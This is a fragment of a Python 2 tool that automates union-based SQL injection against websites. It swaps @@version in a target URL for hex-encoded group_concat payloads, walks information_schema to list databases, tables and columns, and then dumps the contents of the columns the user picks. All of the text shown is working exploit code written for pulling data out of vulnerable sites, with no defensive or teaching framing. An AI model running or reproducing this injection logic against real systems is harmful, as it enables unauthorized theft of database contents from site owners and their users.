def names(site):
    site = site.replace("@@version","unhex(hex(group_concat(0x3c,0x74,0x61,0x62,0x6c,0x65,0x20,0x73,0x74,0x79,0x6c,0x65,0x3d,0x22,0x77,0x69,0x64,0x74,0x68,0x3a,0x32,0x39,0x25,0x22,0x3e,schema_name,0x3c,0x2f,0x74,0x61,0x62,0x6c,0x65,0x3e)))")
    site = site.replace("--","+from+information_schema.schemata--")
    the_page = get_the_page(site,"2")
    db_names = s_data.search_for(the_page)
    print_cols_tables(db_names,'Databases')
    return(db_names)
def search_in_columns(site, table, based, database):
    site = site + table + "--" + based
    the_page = get_the_page(site, "2")
    columns_found = s_data.search_for(the_page)
    total_cols = len(columns_found)

    if total_cols:
        print_cols_tables(columns_found, 'Columns Found')
        table = table.decode("hex")
        site = site.replace(
            "information_schema.columns+WHERE+table_name=0x" +
            table.encode("hex") + "--", database + '.' + table + "--")

        columns = raw_input("Give the columns: ")

        selected_columns = []
        for column in columns_found:
            if column in columns:
                selected_columns.append(column)

        site = site.replace("column_name", "%s,/**/" % selected_columns[0])

        for i in range(1, len(selected_columns)):
            site = site.replace(
                ",/**/,0x3c,0x2f,0x74,0x61,0x62,0x6c,0x65,0x3e,",
                ",0x3c,0x2f,0x74,0x61,0x62,0x6c,0x65,0x3e,0x3c,0x74,0x61,0x62,0x6c,0x65,0x20,0x73,0x74,0x79,0x6c,0x65,0x3d,0x22,0x77,0x69,0x64,0x74,0x68,0x3a,0x32,0x39,0x25,0x22,0x3e,%s,/**/,0x3c,0x2f,0x74,0x61,0x62,0x6c,0x65,0x3e,"
                % selected_columns[i])

        site = site.replace(",/**/", '')
        site = site.replace(",0x3e0x0a", ",0x3e,0x0a")
        the_page = get_the_page(site, "2")
        total_data = []
        total_data = s_data.search_for(the_page)

        if not len(total_data):
            print "No data found!"
        else:
            print_data(total_data, selected_columns, table)
ans=dbs.working_db(site)

if ans=='1':
    ans=raw_input("On which Database you want to work on?: ")
    while ans not in dbs_names:
        ans=raw_input("Wrong Input!\nOn which Database you want to work on?: ")
site=replaces.repl(site,2,ans)

the_page=get_the_page(site,"2")
tables=s_data.search_for(the_page)

if len(tables)==0:
         print "Could not get the tables, program will exit."
         exit()

print_cols_tables(tables,'Tables Found')
site=replaces.repl(site,3,ans)
site=site.replace(based,'')
flag = 1
site1 = site
while flag==1:
    print "Give the table: "
    table_choose=raw_input(">>> ")
    while not(table_choose in tables):
        print "Wrong input. Give the table: "
        table_choose=raw_input(">>> ")

    
    table_choose=table_choose.encode("hex")
    site=site1+table_choose+"--" + based
    the_page=get_the_page(site,"2")